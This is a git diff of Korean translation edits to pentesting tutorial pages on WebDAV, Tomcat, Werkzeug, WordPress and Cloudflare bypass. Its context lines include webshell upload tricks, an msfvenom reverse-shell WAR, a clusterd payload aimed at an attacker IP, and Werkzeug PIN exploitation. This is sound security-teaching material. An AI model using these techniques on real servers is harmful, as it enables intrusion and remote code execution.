**업로드**하거나 **이름을 변경**하는 것을 **허용하지 않습니다**. 그러나 이름 끝에 **";.txt"**를 추가하면 파일이 .asp 파일처럼 **실행**됩니다 (대신 **".txt"** 대신 **".html"**을 사용할 수도 있지만 **";"**를 잊지 마세요). -그런 다음 **".txt" 파일**로 셸을 **업로드**하고 **".asp;.txt"** 파일로 **복사/이동**할 수 있습니다. 웹 서버를 통해 해당 파일에 접근하면 **실행됩니다** (cadaver는 이동 작업이 작동하지 않았다고 말할 것이지만, 실제로는 작동했습니다). +그런 다음 당신은 자신의 쉘을 ".**txt" 파일**로 **업로드**하고 **".asp;.txt"** 파일로 **복사/이동**할 수 있습니다. 웹 서버를 통해 해당 파일에 접근하면 **실행**됩니다 (cadaver는 이동 작업이 작동하지 않았다고 말할 것이지만, 실제로는 작동했습니다). ![](<../../images/image (1092).png>) @@ -50,7 +50,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' Webdav가 Apache 서버를 사용하고 있다면 Apache에 구성된 사이트를 확인해야 합니다. 일반적으로:\ \&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ -그 안에는 다음과 같은 내용을 찾을 수 있습니다: +그 안에는 다음과 같은 내용이 있을 수 있습니다: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -65,13 +65,13 @@ Require valid-user ``` /etc/apache2/users.password ``` -이러한 유형의 파일 안에는 **username**과 **hash**된 비밀번호가 있습니다. 이것들은 웹다브 서버가 사용자를 인증하는 데 사용하는 자격 증명입니다. +이러한 유형의 파일 안에는 **사용자 이름**과 **비밀번호의 해시**가 있습니다. 이것들은 웹다브 서버가 사용자를 인증하는 데 사용하는 자격 증명입니다. -당신은 그것들을 **crack**하거나, 어떤 이유로든 **webdav** 서버에 **access**하기 위해 더 많은 것을 **add**할 수 있습니다: +당신은 그것들을 **크랙**하거나, 어떤 이유로든 **웹다브** 서버에 **접속**하고 싶다면 **더 추가**할 수 있습니다: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` -새 자격 증명이 작동하는지 확인하려면 다음을 수행할 수 있습니다: +새로운 자격 증명이 작동하는지 확인하려면 다음을 수행할 수 있습니다: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 85e0d55d3..736226b88 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -57,9 +57,9 @@ **서버 캐시 헤더**: - 응답의 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가질 수 있습니다. -- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작이 있습니다. +- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작이 나타납니다. - **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800` -- **`Vary`**는 응답에서 **추가 헤더**를 나타내는 데 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다. +- **`Vary`**는 응답에서 **추가 헤더**를 나타내기 위해 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다. - **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다. - **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다. @@ -92,7 +92,7 @@ - **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다. - **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다. - **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다. -- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구별할 수 있도록 합니다. +- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호 언어에 따라 구분할 수 있도록 합니다. - **`Content-Location`**: 반환된 데이터의 대체 위치를 나타냅니다. 펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\ @@ -108,7 +108,7 @@ ## 제어 - **`Allow`**: 이 헤더는 리소스가 처리할 수 있는 HTTP 메서드를 전달하는 데 사용됩니다. 예를 들어, `Allow: GET, POST, HEAD`로 지정될 수 있으며, 이는 리소스가 이러한 메서드를 지원함을 나타냅니다. -- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도가 있음을 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다. +- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도를 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다. ## 다운로드 @@ -116,7 +116,7 @@ ``` Content-Disposition: attachment; filename="filename.jpg" ``` -이것은 "filename.jpg"라는 이름의 파일이 다운로드되고 저장되도록 의도되었음을 의미합니다. +이것은 "filename.jpg"라는 이름의 파일이 다운로드되어 저장될 의도임을 의미합니다. ## 보안 헤더 @@ -128,7 +128,7 @@ Content-Disposition: attachment; filename="filename.jpg" ### **신뢰할 수 있는 유형** -CSP를 통해 신뢰할 수 있는 유형을 강제함으로써, 애플리케이션은 DOM XSS 공격으로부터 보호될 수 있습니다. 신뢰할 수 있는 유형은 특정 보안 정책을 준수하는 특별히 제작된 객체만 위험한 웹 API 호출에 사용될 수 있도록 보장하여 기본적으로 JavaScript 코드를 안전하게 만듭니다. +CSP를 통해 신뢰할 수 있는 유형을 강제함으로써, 애플리케이션은 DOM XSS 공격으로부터 보호될 수 있습니다. 신뢰할 수 있는 유형은 특정 보안 정책을 준수하는 특별히 제작된 객체만 위험한 웹 API 호출에 사용될 수 있도록 보장하여, 기본적으로 JavaScript 코드를 안전하게 만듭니다. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -165,16 +165,16 @@ Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true ``` -### **교차 출처 포함 정책 (COEP) 및 교차 출처 개방자 정책 (COOP)** +### **Cross-Origin Embedder Policy (COEP) 및 Cross-Origin Opener Policy (COOP)** -COEP와 COOP는 교차 출처 격리를 활성화하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호작용을 제어합니다. +COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호 작용을 제어합니다. ``` Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin-allow-popups ``` ### **HTTP Strict Transport Security (HSTS)** -마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 및 보안을 강화합니다. +마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호와 보안을 강화합니다. ``` Strict-Transport-Security: max-age=3153600 ``` diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index d9d371f9c..3717c27c9 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -28,7 +28,7 @@ 2. **'/env'를 통한 구성 수정**: - Spring Cloud Libraries가 존재하는 경우, `/env` 엔드포인트는 환경 속성 수정을 허용합니다. -- 속성을 조작하여 Eureka serviceURL의 XStream 역직렬화 취약점과 같은 취약점을 악용할 수 있습니다. +- 속성은 Eureka serviceURL의 XStream 역직렬화 취약점과 같은 취약점을 악용하기 위해 조작될 수 있습니다. - 예시 악용 POST 요청: ``` diff --git a/src/network-services-pentesting/pentesting-web/tomcat/README.md b/src/network-services-pentesting/pentesting-web/tomcat/README.md index 1f6b7b1bb..4b7d3b7a1 100644 --- a/src/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/src/network-services-pentesting/pentesting-web/tomcat/README.md @@ -103,7 +103,7 @@ Apache Tomcat 버전 4.x에서 7.x까지는 정보 노출 및 교차 사이트 ## RCE -마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면, **.war 파일을 업로드하고 배포할 수 있습니다 (코드 실행)**. +마지막으로, Tomcat 웹 애플리케이션 관리에 접근할 수 있다면, **.war 파일을 업로드하고 배포할 수 있습니다(코드 실행)**. ### 제한 사항 @@ -134,7 +134,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o ``` 2. `revshell.war` 파일을 업로드하고 접근합니다 (`/revshell/`): -### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)로 바인드 및 리버스 셸 +### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)를 이용한 바인드 및 리버스 셸 일부 시나리오에서는 이 방법이 작동하지 않습니다 (예: 구버전의 sun) @@ -156,7 +156,7 @@ clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --d ``` ### 수동 방법 - 웹 셸 -**index.jsp**를 이 [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)로 생성합니다: +**index.jsp**를 다음 [내용](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)으로 생성합니다: ```java
@@ -187,7 +187,7 @@ jar -cvf ../webshell.war * webshell.war is created # Upload it ``` -이것을 설치할 수도 있습니다 (업로드, 다운로드 및 명령 실행 허용): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) +이것을 설치할 수도 있습니다 (업로드, 다운로드 및 명령 실행을 허용합니다): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html) ### 수동 방법 2 diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index a8f1f986e..065bc2b05 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -6,11 +6,11 @@ - 도메인의 **과거 DNS 기록**을 제공하는 서비스를 사용할 수 있습니다. 웹 페이지가 이전에 사용된 IP 주소에서 실행되고 있을 수 있습니다. - **과거 SSL 인증서**를 확인하여 원래 IP 주소를 가리킬 수 있습니다. -- **IP를 직접 가리키는 다른 서브 도메인의 DNS 기록**도 확인하세요. 다른 서브 도메인이 같은 서버를 가리킬 가능성이 있습니다(FTP, 메일 또는 기타 서비스를 제공하기 위해). +- **IP를 직접 가리키는 다른 서브도메인의 DNS 기록**도 확인하세요. 다른 서브도메인이 같은 서버를 가리키고 있을 가능성이 있습니다(FTP, 메일 또는 기타 서비스를 제공하기 위해). - 웹 애플리케이션 내에서 **SSRF를 찾으면** 이를 악용하여 서버의 IP 주소를 얻을 수 있습니다. - shodan과 같은 브라우저에서 웹 페이지의 고유 문자열을 검색하세요(아마도 google 및 유사한 사이트에서도?). 해당 콘텐츠로 IP 주소를 찾을 수 있을지도 모릅니다. - 고유 문자열을 찾는 대신 도구를 사용하여 파비콘 아이콘을 검색할 수 있습니다: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 또는 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) -- 서버가 IP 주소로 접근할 때 동일한 응답을 보내야 하므로 이 방법은 자주 작동하지 않을 수 있지만, 알 수는 없습니다. +- 서버가 IP 주소로 접근할 때 동일한 응답을 보내야 하므로 이 방법은 자주 작동하지 않을 수 있지만, 알 수 없습니다. ## Cloudflare를 드러내기 위한 도구 @@ -61,16 +61,16 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 이 메커니즘은 **클라이언트** [**SSL 인증서**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **를 사용하여** **Cloudflare의 리버스 프록시** 서버와 **오리진** 서버 간의 연결을 인증하는 데 의존합니다. 이를 **mTLS**라고 합니다. -고객은 자체 인증서를 구성하는 대신 Cloudflare의 인증서를 사용하여 Cloudflare에서 오는 모든 연결을 허용할 수 있습니다. **테넌트에 관계없이** 말이죠. +고객은 자체 인증서를 구성하는 대신 Cloudflare의 인증서를 사용하여 Cloudflare에서 오는 모든 연결을 허용할 수 있습니다. **테넌트와 관계없이** 가능합니다. > [!CAUTION] -> 따라서 공격자는 **Cloudflare의 인증서를 사용하여 Cloudflare에 도메인을 설정하고** 이를 **피해자** 도메인 **IP** 주소로 지정할 수 있습니다. 이렇게 하면 자신의 도메인이 완전히 보호되지 않게 되어 Cloudflare는 전송된 요청을 보호하지 않습니다. +> 따라서 공격자는 **Cloudflare의 인증서를 사용하여 Cloudflare에 도메인을 설정하고** 이를 **피해자** 도메인 **IP** 주소로 지정할 수 있습니다. 이렇게 하면 자신의 도메인이 완전히 보호되지 않으므로 Cloudflare는 전송된 요청을 보호하지 않습니다. 자세한 정보는 [**여기**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)에서 확인하세요. ### 허용 목록 Cloudflare IP 주소 -이 설정은 **Cloudflare의** IP 주소 범위에서 발생하지 않는 연결을 **거부**합니다. 이는 공격자가 자신의 도메인을 **Cloudflare에 포인팅**하여 **피해자의 IP** 주소를 공격하는 이전 설정에 취약합니다. +이 설정은 **Cloudflare의** IP 주소 범위에서 발생하지 않는 연결을 **거부**합니다. 이는 공격자가 자신의 도메인을 Cloudflare에 **지정하여** **피해자의 IP** 주소로 공격하는 이전 설정에 취약합니다. 자세한 정보는 [**여기**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)에서 확인하세요. @@ -106,7 +106,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 자동화된 브라우저로 감지되지 않는 헤드리스 브라우저를 사용하세요(이를 위해 사용자 정의가 필요할 수 있습니다). 몇 가지 옵션은 다음과 같습니다: - **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer)용 [스텔스 플러그인](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth). -- **Playwright:** [스텔스 플러그인](https://www.npmjs.com/package/playwright-stealth)이 곧 Playwright에 추가될 예정입니다. 개발 상황은 [여기](https://github.com/berstend/puppeteer-extra/issues/454)와 [여기](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)에서 확인하세요. +- **Playwright:** [스텔스 플러그인](https://www.npmjs.com/package/playwright-stealth)이 곧 Playwright에 추가됩니다. 개발 상황은 [여기](https://github.com/berstend/puppeteer-extra/issues/454)와 [여기](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)에서 확인하세요. - **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) 최적화된 Selenium Chromedriver 패치. ### Cloudflare 내장 우회 기능이 있는 스마트 프록시 @@ -122,11 +122,11 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 최적화된 솔루션을 찾는 사람들을 위해 [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/)가 두드러집니다. 이 서비스는 20개 이상의 프록시 제공업체를 단일 API로 통합하여 대상 도메인에 대해 가장 좋고 비용 효율적인 프록시를 자동으로 선택하여 Cloudflare의 방어를 탐색하는 데 우수한 옵션을 제공합니다. -### Cloudflare 안티봇 보호 역공학 +### Cloudflare 안티봇 보호 리버스 엔지니어링 -Cloudflare의 안티봇 조치를 역공학하는 것은 스마트 프록시 제공업체가 사용하는 전술로, 많은 헤드리스 브라우저를 운영하는 높은 비용 없이 대규모 웹 스크래핑에 적합합니다. +Cloudflare의 안티봇 조치를 리버스 엔지니어링하는 것은 스마트 프록시 제공업체가 사용하는 전술로, 많은 헤드리스 브라우저를 운영하는 높은 비용 없이 대규모 웹 스크래핑에 적합합니다. -**장점:** 이 방법은 Cloudflare의 검사를 특정적으로 목표로 하는 매우 효율적인 우회를 생성할 수 있습니다. 대규모 작업에 이상적입니다. +**장점:** 이 방법은 Cloudflare의 검사를 특정적으로 목표로 하는 매우 효율적인 우회를 생성할 수 있어 대규모 작업에 이상적입니다. **단점:** 단점은 Cloudflare의 의도적으로 불투명한 안티봇 시스템을 이해하고 속이는 데 복잡성이 수반되며, Cloudflare가 보호를 강화함에 따라 다양한 전략을 테스트하고 우회를 업데이트하는 지속적인 노력이 필요하다는 것입니다. diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index ce6d78ec1..745bb4ce4 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -9,18 +9,18 @@ API 침투 테스트는 취약점을 발견하기 위한 구조화된 접근 방 ### **API 유형 이해하기** - **SOAP/XML 웹 서비스**: 문서화에 WSDL 형식을 사용하며, 일반적으로 `?wsdl` 경로에서 찾을 수 있습니다. **SOAPUI** 및 **WSDLer** (Burp Suite 확장)와 같은 도구는 요청을 파싱하고 생성하는 데 유용합니다. 예제 문서는 [DNE Online](http://www.dneonline.com/calculator.asmx)에서 접근할 수 있습니다. -- **REST API (JSON)**: 문서는 종종 WADL 파일로 제공되지만, [Swagger UI](https://swagger.io/tools/swagger-ui/)와 같은 도구는 상호작용을 위한 보다 사용자 친화적인 인터페이스를 제공합니다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용한 도구입니다. +- **REST APIs (JSON)**: 문서는 종종 WADL 파일로 제공되지만, [Swagger UI](https://swagger.io/tools/swagger-ui/)와 같은 도구는 상호작용을 위한 보다 사용자 친화적인 인터페이스를 제공합니다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용한 도구입니다. - **GraphQL**: API를 위한 쿼리 언어로, API의 데이터에 대한 완전하고 이해 가능한 설명을 제공합니다. ### **실습 실험실** - [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP 상위 10 API 취약점을 다루는 실습을 위한 의도적으로 취약한 API입니다. -### **API 침투 테스트를 위한 효과적인 기술** +### **API 침투 테스트를 위한 효과적인 요령** - **SOAP/XML 취약점**: XXE 취약점을 탐색하되, DTD 선언은 종종 제한됩니다. XML이 유효한 경우 CDATA 태그를 통해 페이로드 삽입이 가능할 수 있습니다. - **권한 상승**: 다양한 권한 수준으로 엔드포인트를 테스트하여 무단 접근 가능성을 식별합니다. -- **CORS 잘못된 구성**: 인증된 세션에서 CSRF 공격을 통한 잠재적 악용 가능성을 조사하기 위해 CORS 설정을 점검합니다. +- **CORS 잘못 구성**: 인증된 세션에서 CSRF 공격을 통한 잠재적 악용 가능성을 조사하기 위해 CORS 설정을 확인합니다. - **엔드포인트 발견**: API 패턴을 활용하여 숨겨진 엔드포인트를 발견합니다. 퍼저와 같은 도구를 사용하여 이 과정을 자동화할 수 있습니다. - **매개변수 변조**: 요청에서 매개변수를 추가하거나 교체하여 무단 데이터 또는 기능에 접근해 봅니다. - **HTTP 메서드 테스트**: 요청 메서드(GET, POST, PUT, DELETE, PATCH)를 변경하여 예상치 못한 동작이나 정보 유출을 발견합니다. @@ -37,16 +37,16 @@ kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj는 약한 인증을 확인하기 위해 관련 API 엔드포인트를 검사하여 **노출된 Swagger/OpenAPI 정의 파일**의 감사를 지원하도록 설계된 명령줄 도구입니다. 또한 수동 취약점 테스트를 위한 명령 템플릿을 제공합니다. +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj는 관련 API 엔드포인트의 약한 인증을 확인하여 **노출된 Swagger/OpenAPI 정의 파일**의 감사를 지원하도록 설계된 명령줄 도구입니다. 또한 수동 취약점 테스트를 위한 명령 템플릿을 제공합니다. - **automatic-api-attack-tool**, **Astra**, **restler-fuzzer**와 같은 추가 도구는 공격 시뮬레이션에서 퍼징 및 취약점 스캐닝에 이르기까지 API 보안 테스트를 위한 맞춤형 기능을 제공합니다. - [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS 파일을 기반으로 API를 감사하는 API 보안 도구입니다(이 도구는 Rust로 작성됨). ### **학습 및 연습 자료** -- **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하기 위한 필수 읽기 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist**: API 보안을 위한 포괄적인 체크리스트 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: API 취약점을 탐지하기 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List**: 테스트 목적으로 사용할 수 있는 잠재적인 API 엔드포인트의 선별된 목록 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: 일반적인 API 취약점을 이해하는 데 필수적인 읽기 자료입니다 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: API 보안을 위한 포괄적인 체크리스트입니다 ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: API 취약점을 탐색하기 위해 Logger++는 유용한 필터를 제공합니다 ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: 테스트 목적으로 사용할 수 있는 잠재적인 API 엔드포인트의 선별된 목록입니다 ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## References diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index ab441e7d7..db4a652e0 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -27,7 +27,7 @@ shell that runs the server ``` "console locked" 시나리오에 대한 메시지가 Werkzeug의 디버그 인터페이스에 접근하려고 할 때 나타나며, 콘솔 잠금을 해제하기 위해 PIN이 필요함을 나타냅니다. 콘솔 PIN을 악용하기 위해 Werkzeug의 디버그 초기화 파일(`__init__.py`)에서 PIN 생성 알고리즘을 분석할 것을 제안합니다. PIN 생성 메커니즘은 [**Werkzeug 소스 코드 저장소**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)에서 연구할 수 있지만, 잠재적인 버전 불일치로 인해 실제 서버 코드를 파일 탐색 취약점을 통해 확보하는 것이 좋습니다. -콘솔 PIN을 악용하기 위해 두 세트의 변수가 필요합니다: `probably_public_bits`와 `private_bits`: +콘솔 PIN을 악용하기 위해 두 세트의 변수가 필요합니다: `probably_public_bits`와 `private_bits`. #### **`probably_public_bits`** @@ -141,7 +141,7 @@ rv = num print(rv) ``` -이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 형식화하여 PIN을 생성합니다. `probably_public_bits` 및 `private_bits`의 실제 값은 생성된 PIN이 Werkzeug 콘솔에서 예상되는 것과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다. +이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 포맷하여 PIN을 생성합니다. `probably_public_bits` 및 `private_bits`의 실제 값은 생성된 PIN이 Werkzeug 콘솔에서 예상되는 것과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다. > [!TIP] > **구버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보십시오. @@ -156,11 +156,12 @@ print(rv) {% embed url="https://github.com/Ruulian/wconsole_extractor" %} -## 참고자료 +## 참고 문헌 - [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) - [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 464d697c2..c3d2dbe4c 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,9 +5,9 @@ ## 기본 정보 - **업로드된** 파일은 다음 위치에 저장됩니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 아마도 해당 경로를 사용할 것입니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어, **테마 twentytwelve**를 사용하면 다음 위치에서 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **또 다른 유용한 URL은 다음과 같습니다:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **wp-config.php**에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다. - 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ @@ -16,13 +16,13 @@ - `index.php` - `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다. -- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다. +- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다. - 로그인 폴더(숨기기 위해 이름이 변경될 수 있음): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php`는 HTTP가 전송 메커니즘으로 작용하고 XML이 인코딩 메커니즘으로 작용하는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다. +- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다. - `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다. - `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다. - `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다. @@ -35,7 +35,7 @@ ### 사용자 권한 - **관리자** -- **편집자**: 자신의 게시물 및 다른 사람의 게시물을 게시하고 관리합니다. +- **편집자**: 자신의 게시물 및 다른 게시물을 게시하고 관리합니다. - **저자**: 자신의 게시물을 게시하고 관리합니다. - **기여자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다. - **구독자**: 게시물을 탐색하고 자신의 프로필을 편집합니다. @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### 플러그인 및 테마 -모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인과 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다). +모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인 및 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다). ### 사용자 @@ -91,7 +91,7 @@ curl -s -I -X GET http://blog.example.com/?author=1 ``` 응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다. -- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다: +- **wp-json:** 사용자에 대한 정보를 